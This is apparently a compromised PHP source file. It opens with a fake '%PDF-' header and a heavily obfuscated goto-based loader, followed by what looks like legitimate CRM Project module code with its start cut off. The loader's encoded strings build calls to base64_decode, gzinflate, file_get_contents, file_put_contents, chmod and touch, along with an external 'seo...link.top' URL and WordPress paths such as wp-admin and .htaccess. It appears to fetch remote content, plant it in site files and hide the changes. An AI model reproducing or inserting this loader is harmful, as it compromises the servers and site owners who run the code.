%PDF- %PDF- $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> 'accounts', 'contact_id'=>'contacts', 'opportunity_id'=>'opportunities', 'email_id' => 'emails', ); ////////////////////////////////////////////////////////////////// // METHODS ////////////////////////////////////////////////////////////////// /** * */ public function __construct() { parent::__construct(); } /** * @deprecated deprecated since version 7.6, PHP4 Style Constructors are deprecated and will be remove in 7.8, please update your code, use __construct instead */ public function Project() { $deprecatedMessage = 'PHP4 Style Constructors are deprecated and will be remove in 7.8, please update your code'; if (isset($GLOBALS['log'])) { $GLOBALS['log']->deprecated($deprecatedMessage); } else { trigger_error($deprecatedMessage, E_USER_DEPRECATED); } self::__construct(); } /** * overriding the base class function to do a join with users table */ /** * */ public function fill_in_additional_detail_fields() { parent::fill_in_additional_detail_fields(); $this->assigned_user_name = get_assigned_user_name($this->assigned_user_id); //$this->total_estimated_effort = $this->_get_total_estimated_effort($this->id); //$this->total_actual_effort = $this->_get_total_actual_effort($this->id); } /** * */ public function fill_in_additional_list_fields() { parent::fill_in_additional_list_fields(); $this->assigned_user_name = get_assigned_user_name($this->assigned_user_id); //$this->total_estimated_effort = $this->_get_total_estimated_effort($this->id); //$this->total_actual_effort = $this->_get_total_actual_effort($this->id); } /** * Save changes that have been made to a relationship. * * @param $is_update true if this save is an update. */ public function save_relationship_changes($is_update, $exclude=array()) { parent::save_relationship_changes($is_update, $exclude); $new_rel_id = false; $new_rel_link = false; //this allows us to dynamically relate modules without adding it to the relationship_fields array if (!empty($_REQUEST['relate_id']) && !in_array($_REQUEST['relate_to'], $exclude) && $_REQUEST['relate_id'] != $this->id) { $new_rel_id = $_REQUEST['relate_id']; $new_rel_relname = $_REQUEST['relate_to']; if (!empty($this->in_workflow) && !empty($this->not_use_rel_in_req)) { $new_rel_id = $this->new_rel_id; $new_rel_relname = $this->new_rel_relname; } $new_rel_link = $new_rel_relname; //Try to find the link in this bean based on the relationship foreach ($this->field_defs as $key => $def) { if (isset($def['type']) && $def['type'] == 'link' && isset($def['relationship']) && $def['relationship'] == $new_rel_relname) { $new_rel_link = $key; } } if ($new_rel_link == 'contacts') { $accountId = $this->db->getOne('SELECT account_id FROM accounts_contacts WHERE contact_id=' . $this->db->quoted($new_rel_id)); if ($accountId !== false) { if ($this->load_relationship('accounts')) { $this->accounts->add($accountId); } } } } } /** * */ public function _get_total_estimated_effort($project_id) { $return_value = ''; $query = 'SELECT SUM('.$this->db->convert('estimated_effort', "IFNULL", 0).') total_estimated_effort'; $query.= ' FROM project_task'; $query.= " WHERE parent_id='{$project_id}' AND deleted=0"; $result = $this->db->query($query, true, " Error filling in additional detail fields: "); $row = $this->db->fetchByAssoc($result); if ($row != null) { $return_value = $row['total_estimated_effort']; } return $return_value; } /** * */ public function _get_total_actual_effort($project_id) { $return_value = ''; $query = 'SELECT SUM('.$this->db->convert('actual_effort', "IFNULL", 0).') total_actual_effort'; $query.= ' FROM project_task'; $query.= " WHERE parent_id='{$project_id}' AND deleted=0"; $result = $this->db->query($query, true, " Error filling in additional detail fields: "); $row = $this->db->fetchByAssoc($result); if ($row != null) { $return_value = $row['total_actual_effort']; } return $return_value; } /** * */ public function get_summary_text() { return $this->name; } /** * */ public function build_generic_where_clause($the_query_string) { $where_clauses = array(); $the_query_string = DBManagerFactory::getInstance()->quote($the_query_string); array_push($where_clauses, "project.name LIKE '%$the_query_string%'"); $the_where = ''; foreach ($where_clauses as $clause) { if ($the_where != '') { $the_where .= " OR "; } $the_where .= $clause; } return $the_where; } public function get_list_view_data() { $field_list = $this->get_list_view_array(); $field_list['USER_NAME'] = empty($this->user_name) ? '' : $this->user_name; $field_list['ASSIGNED_USER_NAME'] = $this->assigned_user_name; return $field_list; } public function bean_implements($interface) { switch ($interface) { case 'ACL':return true; } return false; } public function create_export_query($order_by, $where, $relate_link_join='') { $custom_join = $this->getCustomJoin(true, true, $where); $custom_join['join'] .= $relate_link_join; $query = "SELECT project.*, users.user_name as assigned_user_name "; $query .= $custom_join['select']; $query .= " FROM project "; $query .= $custom_join['join']; $query .= " LEFT JOIN users ON project.assigned_user_id=users.id "; $where_auto = " project.deleted=0 "; if ($where != "") { $query .= "where ($where) AND ".$where_auto; } else { $query .= "where ".$where_auto; } if (!empty($order_by)) { //check to see if order by variable already has table name by looking for dot "." $table_defined_already = strpos($order_by, "."); if ($table_defined_already === false) { //table not defined yet, define accounts to avoid "ambigous column" SQL error $query .= " ORDER BY $order_by"; } else { //table already defined, just add it to end of query $query .= " ORDER BY $order_by"; } } return $query; } public function getAllProjectTasks() { $projectTasks = array(); $query = "SELECT * FROM project_task WHERE project_id = '" . $this->id. "' AND deleted = 0 ORDER BY project_task_id"; $result = $this->db->query($query, true, "Error retrieving project tasks"); $row = $this->db->fetchByAssoc($result); while ($row != null) { $projectTaskBean = new ProjectTask(); $projectTaskBean->id = $row['id']; $projectTaskBean->retrieve(); array_push($projectTasks, $projectTaskBean); $row = $this->db->fetchByAssoc($result); } return $projectTasks; } public function getDefaultStatus() { $def = $this->field_defs['status']; if (isset($def['default'])) { return $def['default']; } $app = return_app_list_strings_language($GLOBALS['current_language']); if (isset($def['options']) && isset($app[$def['options']])) { $keys = array_keys($app[$def['options']]); return $keys[0]; } return ''; } public function save($check_notify = false) { global $current_user, $db; $focus = $this; //--- check if project template is same or changed. $new_template_id = property_exists($focus, 'am_projecttemplates_project_1am_projecttemplates_ida') ? $focus->am_projecttemplates_project_1am_projecttemplates_ida : null; $current_template_id = ""; $focus->load_relationship('am_projecttemplates_project_1'); $project_template = $focus->get_linked_beans('am_projecttemplates_project_1', 'AM_ProjectTemplates'); foreach ($project_template as $ptemplate) { $current_template_id = $ptemplate->id; } //---------------------------------------------------------------- //if(!empty($this->id)) // $focus->retrieve($this->id); if ((isset($_POST['isSaveFromDetailView']) && $_POST['isSaveFromDetailView'] == 'true') || (isset($_POST['is_ajax_call']) && !empty($_POST['is_ajax_call']) && !empty($focus->id) || (isset($_POST['return_action']) && $_POST['return_action'] == 'SubPanelViewer') && !empty($focus->id))|| !isset($_POST['user_invitees']) // we need to check that user_invitees exists before processing, it is ok to be empty ) { parent::save($check_notify) ; //$focus->save(true); $return_id = $focus->id; } else { if (!empty($_POST['user_invitees'])) { $userInvitees = explode(',', trim($_POST['user_invitees'], ',')); } else { $userInvitees = array(); } if (!empty($_POST['contact_invitees'])) { $contactInvitees = explode(',', trim($_POST['contact_invitees'], ',')); } else { $contactInvitees = array(); } $deleteUsers = array(); $existingUsers = array(); $deleteContacts = array(); $existingContacts = array(); if (!empty($this->id)) { //$focus->retrieve($this->id); //// REMOVE RESOURCE RELATIONSHIPS // Calculate which users to flag as deleted and which to add // Get all users for the project $focus->load_relationship('users'); $users = $focus->get_linked_beans('project_users_1', 'User'); foreach ($users as $a) { if (!in_array($a->id, $userInvitees)) { $deleteUsers[$a->id] = $a->id; } else { $existingUsers[$a->id] = $a->id; } } if (count($deleteUsers) > 0) { $sql = ''; foreach ($deleteUsers as $u) { $sql .= ",'" . $u . "'"; } $sql = substr($sql, 1); // We could run a delete SQL statement here, but will just mark as deleted instead $sql = "UPDATE project_users_1_c set deleted = 1 where project_users_1users_idb in ($sql) AND project_users_1project_ida = '". $focus->id . "'"; $focus->db->query($sql); echo $sql; } // Get all contacts for the project $focus->load_relationship('contacts'); $contacts = $focus->get_linked_beans('project_contacts_1', 'Contact'); foreach ($contacts as $a) { if (!in_array($a->id, $contactInvitees)) { $deleteContacts[$a->id] = $a->id; } else { $existingContacts[$a->id] = $a->id; } } if (count($deleteContacts) > 0) { $sql = ''; foreach ($deleteContacts as $u) { $sql .= ",'" . $u . "'"; } $sql = substr($sql, 1); // We could run a delete SQL statement here, but will just mark as deleted instead $sql = "UPDATE project_contacts_1_c set deleted = 1 where project_contacts_1contacts_idb in ($sql) AND project_contacts_1project_ida = '". $focus->id . "'"; $focus->db->query($sql); echo $sql; } ////END REMOVE } $return_id = parent::save($check_notify); $focus->retrieve($return_id); ////REBUILD INVITEE RELATIONSHIPS // Process users $focus->load_relationship('users'); $focus->get_linked_beans('project_users_1', 'User'); foreach ($userInvitees as $user_id) { if (empty($user_id) || isset($existingUsers[$user_id]) || isset($deleteUsers[$user_id])) { continue; } $focus->project_users_1->add($user_id); } // Process contacts $focus->load_relationship('contacts'); $focus->get_linked_beans('project_contacts_1', 'Contact'); foreach ($contactInvitees as $contact_id) { if (empty($contact_id) || isset($existingContacts[$contact_id]) || isset($deleteContacts[$contact_id])) { continue; } $focus->project_contacts_1->add($contact_id); } //// END REBUILD INVITEE RELATIONSHIPS /////////////////////////////////////////////////////////////////////////// } /////////////////////////////// // Code Block to handle the template selection at project edit. //////////////////////////////////////// if ($current_template_id != $new_template_id) { $project_start = $focus->estimated_start_date; //Get project start date if ($project_start!='') { $dateformat = $current_user->getPreference('datef'); $startdate = DateTime::createFromFormat($dateformat, $project_start); if ($startdate == false) { $startdate = DateTime::createFromFormat('Y-m-d', $project_start); } $start = $startdate->format('Y-m-d'); } $duration_unit = 'Days'; //Get the project template $template = new AM_ProjectTemplates(); $template->retrieve($new_template_id); $override_business_hours = intval($template->override_business_hours); //------ build business hours array $dateformat = $current_user->getPreference('datef'); $days = array("Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday"); $businessHours = BeanFactory::getBean("AOBH_BusinessHours"); $bhours = array(); foreach ($days as $day) { $bh = $businessHours->getBusinessHoursForDay($day); if ($bh) { $bh = $bh[0]; if ($bh->open) { $open_h = $bh ? $bh->opening_hours : 9; $close_h = $bh ? $bh->closing_hours : 17; $start_time = DateTime::createFromFormat('Y-m-d', $start); $start_time = $start_time->modify('+'.$open_h.' Hours'); $end_time = DateTime::createFromFormat('Y-m-d', $start); $end_time = $end_time->modify('+'.$close_h.' Hours'); $hours = ($end_time->getTimestamp() - $start_time->getTimestamp())/(60*60); if ($hours < 0) { $hours = 0 - $hours ; } $bhours[$day] = $hours; } else { $bhours[$day] = 0; } } } //----------------------------------- //default business hours array if ($override_business_hours != 1 || empty($bhours)) { $bhours = array('Monday' => 8,'Tuesday' => 8,'Wednesday' => 8, 'Thursday' => 8, 'Friday' => 8, 'Saturday' => 0, 'Sunday' => 0); } //--------------------------- //copy all resources from template to project $template->load_relationship('am_projecttemplates_users_1'); $template_users = $template->get_linked_beans('am_projecttemplates_users_1', 'User'); $template->load_relationship('am_projecttemplates_contacts_1'); $template_contacts = $template->get_linked_beans('am_projecttemplates_contacts_1', 'Contact'); foreach ($template_users as $user) { $focus->project_users_1->add($user->id); } foreach ($template_contacts as $contact) { $focus->project_contacts_1->add($contact->id); } //Get related project template tasks. Using sql query so that the results can be ordered. $get_tasks_sql = "SELECT * FROM am_tasktemplates WHERE id IN ( SELECT am_tasktemplates_am_projecttemplatesam_tasktemplates_idb FROM am_tasktemplates_am_projecttemplates_c WHERE am_tasktemplates_am_projecttemplatesam_projecttemplates_ida = '".$new_template_id."' AND deleted =0 ) AND deleted =0 ORDER BY am_tasktemplates.order_number ASC"; $tasks = $db->query($get_tasks_sql); //Create new project tasks from the template tasks $count=1; while ($row = $db->fetchByAssoc($tasks)) { $project_task = new ProjectTask(); $project_task->name = $row['name']; $project_task->status = $row['status']; $project_task->priority = strtolower($row['priority']); $project_task->percent_complete = $row['percent_complete']; $project_task->predecessors = $row['predecessors']; $project_task->milestone_flag = $row['milestone_flag']; $project_task->relationship_type = $row['relationship_type']; $project_task->task_number = $row['task_number']; $project_task->order_number = $row['order_number']; $project_task->estimated_effort = $row['estimated_effort']; $project_task->utilization = $row['utilization']; $project_task->assigned_user_id = $row['assigned_user_id']; $project_task->description = $row['description']; $project_task->duration = $row['duration']; $project_task->duration_unit = $duration_unit; $project_task->project_task_id = $count; //Flag to prevent after save logichook running when project_tasks are created (see custom/modules/ProjectTask/updateProject.php) $project_task->set_project_end_date = 0; // //code block to calculate end date based on user's business hours // $duration = $project_task->duration; $enddate = $startdate; $d = 0; while ($duration > $d) { $day = $enddate->format('l'); if ($bhours[$day] != 0) { $d += 1; } $enddate = $enddate->modify('+1 Days'); } $enddate = $enddate->modify('-1 Days');//readjust it back to remove 1 additional day added //---------------------------------- if ($count == '1') { $project_task->date_start = $start; $end = $enddate->format('Y-m-d'); $project_task->date_finish = $end; //add one day to let the next task start on next day of it's finish. $enddate_array[$count] = $enddate->modify('+1 Days')->format('Y-m-d'); } else { $start_date = $count - 1; $startdate = DateTime::createFromFormat('Y-m-d', $enddate_array[$start_date]); $start = $startdate->format('Y-m-d'); $project_task->date_start = $start; $end = $enddate->format('Y-m-d'); $project_task->date_finish = $end; $startdate = $enddate; //add one day to let the next task start on next day of it's finish. $enddate_array[$count] = $enddate->modify('+1 Days')->format('Y-m-d'); $enddate = $end; } $project_task->save(); //link tasks to the newly created project $project_task->load_relationship('projects'); $project_task->projects->add($focus->id); //Add assinged users from each task to the project resourses subpanel $focus->load_relationship('project_users_1'); $focus->project_users_1->add($row['assigned_user_id']); $count++; } } /// End Template Selection handling //////////////////////////////////////////////////////////// return $return_id; } }